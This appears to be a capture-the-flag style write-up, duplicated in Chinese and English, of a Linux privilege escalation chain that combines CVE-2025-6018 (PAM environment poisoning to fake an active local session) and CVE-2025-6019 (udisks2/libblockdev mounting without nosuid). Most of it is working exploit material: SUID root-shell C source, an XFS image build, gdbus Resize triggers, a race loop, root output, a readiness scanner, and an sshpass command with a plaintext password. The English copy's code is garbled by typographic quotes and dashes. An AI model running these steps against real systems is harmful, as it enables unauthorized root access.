phileasfogg3@pterodactyl:~> cat .pam_environment

XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1

phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg

phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION  UID USER         SEAT  TTY   STATE  IDLE SINCE
     20 1002 phileasfogg3 seat0 pts/0 active no

1 sessions listed.

phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit is bypassed!"

VULNERABLE: Polkit is bypassed!

# 1. 创建一个 300MB 的空镜像文件
dd if=/dev/zero of=xfs.image bs=1M count=300

# 2. 格式化为 XFS (Extents File System，扩展文件系统)
mkfs.xfs xfs.image

# 3. 挂载镜像并植入 SUID Shell 包装器
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt

# 4. 编写并编译一个简单的 SUID 提权程序（比直接拷贝 bash 更稳定）
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell

# 5. 设置关键的 SUID (Set User ID) 权限
sudo chmod 4755 ./mnt/rootshell

# 6. 卸载镜像
sudo umount ./mnt
rm rootshell.c

# 1. 进入 /tmp 目录
cd /tmp

# 2. 设置回环设备 (Loop Device)
# udisksctl: User-space Disk Control Tool (用户空间磁盘控制工具)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"

# 3. 触发漏洞：利用 gdbus 调用 Resize 方法
# 这会强制 libblockdev (Block Device Manipulation Library) 以含有漏洞的方式挂载镜像
gdbus call --system --dest org.freedesktop.UDisks2 \
    --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

# 4. 寻找挂载点并运行提权程序
# 漏洞触发后，镜像会被挂载在 /tmp/blockdev-xxxx 下
MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -z "$MOUNT_PATH" ]; then
    echo "[-] Mount failed, check if you are an Active session."
else
    echo "[+] Found mount at: $MOUNT_PATH"
    $MOUNT_PATH/rootshell
fi

# 1. 开启极其密集的后台抢夺器
(while true; do 
    target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
    if [ -n "$target" ]; then
        echo "[!] MOUNT DETECTED: $target"
        $target/rootshell
        break
    fi
done) &

# 2. 获取抢夺器的进程 ID
SNATCHER_PID=$!

# 3. 重新设置循环设备 (假设使用你上传的镜像)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')

# 4. 触发漏洞（多次触发增加成功率）
for i in {1..3}; do
    gdbus call --system --dest org.freedesktop.UDisks2 \
        --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done

# 5. 如果成功，你会进入 Root Shell；如果不成功，杀掉抢夺器
kill $SNATCHER_PID 2>/dev/null

phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
·1pterodactyl:/tmp # cat /root/root.txt

#!/bin/bash

# --- 颜色定义 ---
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # 无颜色 (No Color)

echo -e "${BLUE}====================================================${NC}"
echo -e "${BLUE}       NeobeeSec 提权前置环境综合扫描器             ${NC}"
echo -e "${BLUE}====================================================${NC}"

# 1. 系统基础信息采集
echo -e "\n${YELLOW}[1] 系统基础信息 (System Information)${NC}"
echo -e "主机名: $(hostname)"
echo -e "内核版本 (Kernel Version): $(uname -r)"
if [ -f /etc/os-release ]; then
    # 全称: Operating System Release (操作系统发行版信息)
    source /etc/os-release
    echo -e "发行版本: $PRETTY_NAME"
fi

# 2. CVE-2025-6018 状态检查 (身份伪装检查)
echo -e "\n${YELLOW}[2] CVE-2025-6018 身份伪装状态 (Environment Poisoning)${NC}"

# 检查环境变量
# 全称: X Display Group Seat (X 显示组席位)
echo -n "XDG_SEAT 状态: "
if [[ "$XDG_SEAT" == "seat0" ]]; then
    echo -e "${GREEN}已设置为 seat0 (符合攻击条件)${NC}"
else
    echo -e "${RED}未设置或非 seat0 (当前值: $XDG_SEAT)${NC}"
fi

# 检查会话活跃度
# 全称: Login Control (登录控制工具)
if command -v loginctl &>/dev/null; then
    ACTIVE_STATUS=$(loginctl show-session "$XDG_SESSION_ID" --property=Active --value 2>/dev/null)
    echo -e "会话活跃状态 (Active Status): ${ACTIVE_STATUS:-Unknown}"
    if [[ "$ACTIVE_STATUS" == "yes" ]]; then
        echo -e "[${GREEN}√${NC}] 会话已激活，Polkit [PolicyKit] 将信任此会话。"
    else
        echo -e "[${RED}!${NC}] 会话非活跃，可能无法调用特权 D-Bus [Desktop Bus] 方法。"
    fi
else
    echo -e "${RED}[x] 找不到 loginctl 工具${NC}"
fi

# 3. 核心库与组件检查
echo -e "\n${YELLOW}[3] 关键组件与包版本 (Software Packages)${NC}"

# 检查工具是否存在
components=("udisksctl" "gdbus" "pkcheck")
for cmd in "${components[@]}"; do
    if command -v "$cmd" &>/dev/null; then
        echo -e "[${GREEN}√${NC}] 发现工具: $cmd"
    else
        echo -e "[${RED}x${NC}] 缺失工具: $cmd"
    fi
done

# 深度检查包版本 (支持 RPM 和 DPKG)
# 全称: Red Hat Package Manager (红帽包管理器)
# 全称: Debian Package (Debian 包管理系统)
check_pkgs=("libblockdev" "udisks2" "polkit" "systemd")

if command -v rpm &>/dev/null; then
    echo -e "\n--- 基于 RPM 的包版本查询 ---"
    for pkg in "${check_pkgs[@]}"; do
        rpm -qa | grep -i "$pkg" | sed "s/^/[+] /"
    done
elif command -v dpkg &>/dev/null; then
    echo -e "\n--- 基于 DPKG 的包版本查询 ---"
    for pkg in "${check_pkgs[@]}"; do
        dpkg -l | grep -i "$pkg" | awk '{print "[+] "$2, $3}'
    done
fi

# 4. CVE-2025-6019 提权前置检查 (磁盘与挂载)
echo -e "\n${YELLOW}[4] CVE-2025-6019 提权前置 (LPE Prerequisites)${NC}"

# 检查内核对 XFS 的支持
# 全称: Extents File System (扩展文件系统)
if grep -q "xfs" /proc/filesystems; then
    echo -e "[${GREEN}√${NC}] 内核支持 XFS 文件系统。"
else
    echo -e "[${RED}x${NC}] 内核不支持 XFS，无法挂载提权镜像。${NC}"
fi

# 检查 /tmp 目录执行权限
# 全称: Standard Output (标准输出)
# 全称: Mount (挂载指令)
if mount | grep -E '\s/tmp\s' | grep -q "noexec"; then
    echo -e "[${RED}x${NC}] /tmp 目录被挂载为 noexec (禁止执行)，提权程序可能无法运行。"
else
    echo -e "[${GREEN}√${NC}] /tmp 目录允许执行程序。"
fi

# 5. 权限漏洞盲测 (Polkit 授权检查)
echo -e "\n${YELLOW}[5] Polkit [PolicyKit] 授权盲测${NC}"
# 检查是否可以直接利用 udisks2 (User-space Disk Management Daemon) 挂载权限
if command -v pkcheck &>/dev/null; then
    pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ &>/dev/null
    if [ $? -eq 0 ]; then
        echo -e "[${GREEN}√${NC}] 授权成功: 你可以直接挂载文件系统！"
    else
        echo -e "[${RED}x${NC}] 授权失败: 挂载操作需要管理员密码。"
    fi
fi

echo -e "\n${BLUE}====================================================${NC}"
echo -e "扫描完成。如果以上带 [√] 的项目较多，说明提权成功率极高。"

Linux Multi-Stage Privilege Escalation Chain (CVE-2025-6018 & CVE-2025-6019)

Prerequisites

1. Prerequisites for Identity Spoofing (CVE-2025-6018)

This is the first step in the “relay race,” aimed at making the system recognize you as a local user rather than an outsider:

• Systemd Required: The target must be using systemd-logind (the Systemd login manager) to manage sessions.
• PAM Permissions: You need write access to the current user’s home directory to create or modify the ~/.pam_environment file.
• PAM Module Loading: The target system must have the pam_systemd.so module enabled.
• Environment Re-reading: You must be able to trigger a new session login (e.g., via ssh or su - username) so that the system reads the environment variables you have poisoned.

---

2. Prerequisites for Authorization (Polkit Trust)

This step acts as a bridge between the two vulnerabilities; without it, you cannot proceed with the disk management functions:

• Active Status: The Active attribute must be set to yes when viewed using loginctl.
• Seat Binding: The session must be associated with a specific Seat (usually seat0, the primary hardware seat).
• Polkit Policy: The system’s Polkit policy must allow local active users to operate the disk via udisks2 without requiring an administrator password.

---

3. Prerequisites for Vulnerability Exploitation (CVE-2025-6019)

This is the final step in the “relay race,” completing the transition from a regular user to Root (superuser):

• Vulnerable Library: The installed version of libblockdev must be within the affected range (unpatched).
• Kernel XFS Support: The Linux kernel must have the XFS driver loaded; otherwise, your malicious image cannot be mounted.
• udisks2 Service Running: The udisks2 daemon must be running, and you must have access to call its Resize method via D-Bus.
• ** writable /tmp Directory**: Although not absolute, the exploit typically relies on creating a temporary mount point in /tmp, which should not have the noexec restriction.
• Image Integrity: You need an XFS image with a pre-created binary file that has SUID (Set User ID) privileges.

Vulnerability Details

1. Vulnerability Overview (CVE-2025-6018):

• Name: PAM Environment Variable Injection Vulnerability
• Type: Logical flaw/Identity spoofing
• Impact: Primarily affects SUSE series and improperly configured Linux distributions.

2. Vulnerability Overview (CVE-2025-6019):

• Name: libblockdev/udisks2 Logical Vulnerability
• Type: Local Privilege Escalation (LPE)
• Risk Level: High

2. Core Principles of the Vulnerabilities (Root Cause Analysis)

• CVE-2025-6018 (Vulnerability Point): The pam_env.so (Pluggable Authentication Modules Environment Library) in the system is configured with user_readenv=1. This allows regular users to inject specific environment variables by modifying the ~/.pam_environment file in their home directories.
  • Key Variables: XDG_SEAT (X Display Group Seat) and XDG_VTNR (X Display Group Virtual Terminal Number).
  • Consequences: The Polkit module is successfully deceived, causing remote sessions to be misidentified as “Active Local Sessions,” thereby granting the permission to execute sensitive system operations.
• CVE-2025-6019 (Privilege Escalation Point): The libblockdev (Block Device Manipulation Library) fails to set the MS_NOSUID (Mount Flag: No Set User ID) during the mounting of temporary images for XFS (Extents File System) file system scaling requests using the udisks2 (User-space Disk Management Daemon).
  • Consequences: Users are able to mount file system images containing SUID (Set User ID) programs crafted by the attacker.

3. Construction of the Privilege Escalation Attack Chain (Exploitation Chain)

This section is the essence of the notes, documenting how the two vulnerabilities can be combined:

1. Environmental Preparation: Create a .pam_environment file in $HOME and write fake local seat information into it.
2. Session Reset: Trigger a PAM (Pluggable Authentication Modules) session reload, for example, by reconnecting via SSH.
3. Permission Verification: Verify that loginctl marks the current user as Active=yes.
4. Payload Deployment: Prepare a malicious XFS (Extents File System) disk image that contains a Shell with SUID (Set User ID) privileges.
5. Execution Trigger: Use udisksctl (User-space Disk Control Tool) to request a change in the image size; the system will automatically mount the image, and executing the SUID program inside it will grant Root (superuser) privileges.

4. Pentest Checklist

1. Check if user_readenv=1 is set in /etc/pam.d/. (If not, skip the second step.)
2. Verify if there are write permissions for the ~/.pam_environment file.
3. Check if pkexec (PolicyKit Execution) or udisksctl (User-space Disk Control Tool) is available.
4. Verify if the version of libblockdev (Block Device Manipulation Library) is older than the security patch version.

5. Mitigation & Defense Measures

• Short-term Strategy: Modify the PAM (Pluggable Authentication Modules) configuration to set user_readenv=0.
• Long-term Strategy: Update the system kernel and the libblockdev and udisks2 libraries.
• Audit Recommendation: Monitor for any abnormal modifications to the ~/.pam_environment file.

---

Example

Exploiting CVE-2025-6018

phileasfogg3@pterodactyl:~> cat .pam_environment
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1

Re-login using SSH:

phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg

Check if SEAT is set to seat0 and if STATE is active:

phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION  UID USER         SEAT  TTY   STATE  IDLE SINCE
     20 1002 phileasfogg3 seat0 pts/0 active no

1 session listed.

Verify the Polkit vulnerability:

phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit has been bypassed!"
VULNERABLE: Polkit has been bypassed!

If no password prompt appears and the message VULNERABLE is displayed directly, the privilege escalation credential for CVE-2025-6019 has been obtained.

---

## Exploiting CVE-2025-6019

**Step 1:** Create a malicious XFS image on the attacker’s machine:

```bash
# 1. Create a 300MB empty image file
dd if=/dev/zero of=xfs.image bs=1M count=300

# 2. Format the image as XFS (Extents File System)
mkfs.xfs xfs.image

# 3. Mount the image and install a SUID Shell wrapper
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt

# 4. Write and compile a simple SUID privilege escalation program (more stable than simply copying bash)
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell

# 5. Set the necessary SUID permissions
sudo chmod 4755 ./mnt/rootshell

# 6. Unmount the image
sudo umount ./mnt
rm rootshell.c

Execute the program using sudo:

sshpass -p '!QAZ2wsx' scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/

Step 2: Trigger the privilege escalation on the target machine:

# 1. Navigate to the /tmp directory
cd /tmp

# 2. Set up the loop device
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"

# 3. Exploit the vulnerability by using gdbus to call the Resize method

This will force libblockdev (the Block Device Manipulation Library) to mount the image in a way that exploits the vulnerability.

gdbus call —system —dest org.freedesktop.UDisks2
—object-path “/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}”
—method org.freedesktop.UDisks2.Filesystem.Resize 0 {}

4. Locate the mount point and execute the privilege escalation program.

After the vulnerability is triggered, the image will be mounted under /tmp/blockdev-xxxx.

MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null) if [ -z "$MOUNT_PATH” ]; then echo ”[-] Mount failed; please check if you are in an active session.” else echo ”[+] Mount point found at: $MOUNT_PATH"$MOUNT_PATH/rootshell fi

**Step 3: Initiate the hijacking loop**

```bash
# 1. Start an extremely aggressive background hijacker process.
(while true; do 
    target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
    if [ -n "$target" ]; then
        echo "[!] Hijacking target detected: $target"
        $target/rootshell
        break
    fi
done) &

# 2. Retrieve the process ID of the hijacker.
SNATCHER_PID=$!

# 3. Re-set the loop device (assuming you are using the image you uploaded).
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')

# 4. Trigger the vulnerability multiple times to increase the success rate.
for i in {1..3}; do
    gdbus call --system --dest org.freedesktop.UDisks2 \
        --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0{}
done

# 5. If successful, you will gain root shell access; otherwise, terminate the hijacker process.
kill $SNATCHER_PID 2>/dev/null

Finally

phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # Output: ID of the user with root privileges: uid=0(root), gid=0(root), groups=0(root),100(users)
·1pterodactyl:/tmp # Contents of /root/root.txt

---

Detection script

#!/bin/bash

--- Color Definitions ---

RED=‘\033[0;31m’ GREEN=‘\033[0;32m’ YELLOW=‘\033[1;33m’ BLUE=‘\033[0;34m’ NC=‘\033[0m’ # No Color

echo -e “${BLUE}====================================================${NC}” echo -e “${BLUE} NeobeeSec Privilege Escalation Pre-Environment Scanner${NC}” echo -e “${BLUE}====================================================${NC}“

1. System Information Collection

echo -e “\n${YELLOW}[1] System Information${NC}” echo -e “Hostname: $(hostname)" echo -e "Kernel Version:$(uname -r)” if [ -f /etc/os-release ]; then # Full Name: Operating System Release source /etc/os-release echo -e “Release Version: $PRETTY_NAME” fi

2. CVE-2025-6018 Status Check (Environment Poisoning Detection)

echo -e “\n${YELLOW}[2] CVE-2025-6018 Environment Poisoning Status${NC}“

Check Environment Variables

Full Name: X Display Group Seat

echo -n “XDG_SEAT Status: ” if [[ “$XDG_SEAT" == "seat0" ]]; then echo -e "${GREEN}Set to seat0 (Meeting Attack Conditions)${NC}" else echo -e "${RED}Not set or not seat0 (Current Value: $XDG_SEAT)${NC}” fi

Check Session Activity

Full Name: Login Control Tool

if command -v loginctl &>/dev/null; then ACTIVE_STATUS=$(loginctl show-session "$XDG_SESSION_ID” —property=Active —value 2>/dev/null) echo -e “Session Activity Status: ${ACTIVE_STATUS:-Unknown}" if [[ "$ACTIVE_STATUS” == “yes” ]]; then echo -e ”[${GREEN}√${NC}] Session is active, and Polkit will trust this session.” else echo -e ”[${RED}!${NC}] Session is inactive, may not be able to call privileged D-Bus methods.” fi else echo -e ”[${RED}×${NC}] The loginctl tool was not found${NC}” fi

3. Core Libraries and Components Check

echo -e “\n${YELLOW}[3] Key Components and Package Versions${NC}“

Check for the Presence of Required Tools

components=(“udisksctl” “gdbus” “pkcheck”) for cmd in “${components[@]}"; do if command -v "$cmd” &>/dev/null; then echo -e ”[${GREEN}√${NC}] Tool found: $cmd" else echo -e "[${RED}×${NC}] Tool missing:$cmd” fi done

Deep Check of Package Versions (Supports RPM and DPKG)

Full Name: Red Hat Package Manager

Full Name: Debian Package Management System

check_pkgs=(“libblockdev” “udisks2” “polkit” “systemd”)

if command -v rpm &>/dev/null; then echo -e “\n--- RPM-Based Package Version Check ---” for pkg in “${check_pkgs[@]}"; do rpm -qa | grep -i "$pkg” | sed “s/^/[+] /” done elif command -v dpkg &>/dev/null; then echo -e “\n--- DPKG-Based Package Version Check ---” for pkg in “${check_pkgs[@]}"; do dpkg -l | grep -i "$pkg” | awk ‘{print ”[+] “$2,$3}” done fi

4. CVE-2025-6019 Privilege Escalation Prerequisites (Disk and Mounting)

echo -e “\n${YELLOW}[4] CVE-2025-6019 Privilege Escalation Prerequisites${NC}“

Check if the kernel supports XFS

Full Name: Extents File System

if grep -q “xfs” /proc/filesystems; then echo -e ”[${GREEN}√${NC}] The kernel supports the XFS file system.” else echo -e ”[${RED}x${NC}] The kernel does not support XFS, so the privilege escalation image cannot be mounted.” fi

Check the execution permissions for the /tmp directory

Full Name: Standard Output; Full Name: Mount Command

if mount | grep -E ‘\s/tmp\s’ | grep -q “noexec”; then echo -e ”[${RED}x${NC}] The /tmp directory is mounted with noexec permissions, which may prevent the privilege escalation script from running.” else echo -e ”[${GREEN}√${NC}] The /tmp directory allows program execution.” fi

5. Polkit Authorization Vulnerability Test

echo -e “\n${YELLOW}[5] Polkit Authorization Test${NC}“

Check if udisks2 (User-space Disk Management Daemon) permissions can be exploited

if command -v pkcheck &>/dev/null; then pkcheck —action-id org.freedesktop.udisks2.filesystem-mount —process $$ &>/dev/null if [ $? -eq 0 ]; then echo -e "[${GREEN}√${NC}] Authorization successful: You can mount file systems directly!" else echo -e "[${RED}x${NC}] Authorization failed: Mounting requires an administrator password.” fi fi

echo -e “\n${BLUE}====================================================${NC}” echo -e “Scan complete. If there are many items with [√], the probability of privilege escalation is very high.”